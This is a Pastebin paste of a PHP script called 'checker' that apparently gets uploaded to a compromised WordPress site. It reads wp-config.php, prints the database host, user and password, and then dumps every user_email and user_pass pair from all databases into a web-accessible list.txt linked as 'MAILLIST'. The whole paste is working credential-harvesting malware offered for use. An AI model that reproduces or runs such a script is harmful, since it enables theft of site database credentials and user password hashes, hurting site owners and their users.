D3F4ULT8778

checker

Jul 4th, 2020
82
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.98 KB | None | 0 0
  1. <?php
  2. ini_set('memory_limit', '-1');
  3. echo "
  4. <html>
  5. <center><a href='list.txt'>MAILLIST</a><br>
  6. </html>
  7. ";
  8. if (file_exists("wp-config.php") or ("../wp-config.php") or ("../../wp-config.php") or ("../../../wp-config.php") or ("../../../../wp-config.php") or ("../../../../../wp-config.php") or ("../../../../../../wp-config.php")) {
  9. $config=array(
  10. "wp-config.php","../wp-config.php","../../wp-config.php","../../../wp-config.php","../../../../wp-config.php","../../../../../wp-config.php","../../../../../../wp-config.php"
  11. );
  12. foreach($config as $wpcon){
  13. $file=@file_get_contents($wpcon);
  14. if(@preg_match("/'DB_NAME', '/i",$file) or @preg_match("/'DB_USER', '/i",$file) ){
  15. //////////host////////////////
  16. //////////host////////////////
  17. $host=explode("'DB_HOST', '",$file);
  18. $host=explode("'",$host[1]);
  19. $host=$host[0];
  20. /////////user///////////////
  21. $user=explode("'DB_USER', '",$file);
  22. $user=explode("'",$user[1]);
  23. $user=$user[0];
  24. ////////password///////////
  25. $pass=explode("'DB_PASSWORD', '",$file);
  26. $pass=explode("'",
  27. $pass[1]);$pass=$pass[0];
  28. ///////////////////////////////////////
  29. echo "db-host : $host <br>";echo "db-user : $user <br>";echo "db-pass : $pass <br>";
  30. //////////////////////////////////////////////////////////////////////////
  31. bajatax_co($host,$user,$pass,"list.txt");
  32. exit();
  33. }}}
  34. function grapper1($host,$user,$pass,$file){
  35. /*
  36. author : G-B
  37. email : fb/psycomiste.93
  38. */
  39. $con = mysql_connect($host,$user,$pass);
  40. $fp = fopen($file,'a');
  41. $count = 0;
  42. $databases = getdata("SHOW DATABASES");
  43. foreach($databases as $database){
  44. $tables = getdata("SHOW TABLES FROM $database");
  45. foreach($tables as $table){
  46. $columns = getdata("SHOW COLUMNS FROM $database.$table");
  47. foreach($columns as $column){
  48. $emails = getdata("SELECT user_email, user_pass FROM $database.$table");
  49. foreach($emails as $email){
  50. if($email){
  51. if(preg_match("/$email/i",file_get_contents($file))) continue;
  52. $count++;
  53. fwrite($fp,"$email\n");
  54. }else{
  55. foreach(preg_split("/\s/",$text) as $string){
  56. if($string){
  57. if(preg_match("/$string/i",file_get_contents($file))) continue;
  58. $count++;
  59. fwrite($fp,"$string\n");
  60. }
  61. }
  62. }
  63. }
  64. }
  65. }
  66. }
  67. fclose($fp);
  68. mysql_close($con);
  69. return $count;
  70. }
  71. function grapper2($host,$user,$pass,$file){
  72. $sql="SHOW DATABASES";
  73. $link = @mysqli_connect($host,$user,$pass) or die ('Error connecting to mysql: ' . mysqli_error($link).'\r\n');
  74. $result=@mysqli_query($link,$sql);
  75. $fp=fopen($file,"a");
  76. if(function_exists("chmod")){ @chmod($file,0755);}
  77. while( $row = mysqli_fetch_row( $result ) ){
  78. $database=$row[0];
  79. $result2=@mysqli_query($link,"SHOW TABLES FROM $database");
  80. while( $row2 = mysqli_fetch_row( $result2 ) ){
  81. $table=$row2[0];
  82. $result3=@mysqli_query($link,"SHOW COLUMNS FROM $database.$table");
  83. while( $row3 = mysqli_fetch_row( $result3 ) ){
  84. $column=$row3[0];
  85. $result4=@mysqli_query($link,"SELECT user_email, user_pass FROM $database.$table");
  86. while( $row4 = mysqli_fetch_row( $result4 ) ){
  87. $email=$row4[0];
  88. $passwdd=$row4[1];
  89. print_r($email,$passwdd);
  90. if($email){
  91. if(function_exists("file_get_contents")){ if(preg_match("/$email/i",file_get_contents($file))) continue; }
  92. $count++;
  93. fwrite($fp,"$email:$passwdd\n");
  94. }else{
  95. foreach(preg_split("/\s/",$text) as $string){
  96. if($string){
  97. if(function_exists("file_get_contents")){ if(preg_match("/$string/i",file_get_contents($file))) continue; }
  98. $count++;
  99. fwrite($fp,"$string:$passwdd\n");
  100. }
  101. }
  102. }
  103. }
  104. }
  105. }
  106. }
  107. }
  108. function getdata($sql){
  109. $q = @mysql_query($sql);
  110. $result = array();
  111. while(
  112. $d = @mysql_fetch_array($q)){
  113. $result[] = $d[0];
  114. }
  115. return $result;
  116. }
  117. function bajatax_co($host,$user,$pass,$file){
  118. if(function_exists("mysql_connect")){
  119. grapper1($host,$user,$pass,$file);
  120. }elseif(function_exists("mysqli_connect")){
  121. grapper2($host,$user,$pass,$file);
  122. }else{
  123. echo "No function grappe for this site exist :/ Add this site";
  124. }
  125.  
  126. }
  127. ?>
Add Comment
Please, Sign In to add comment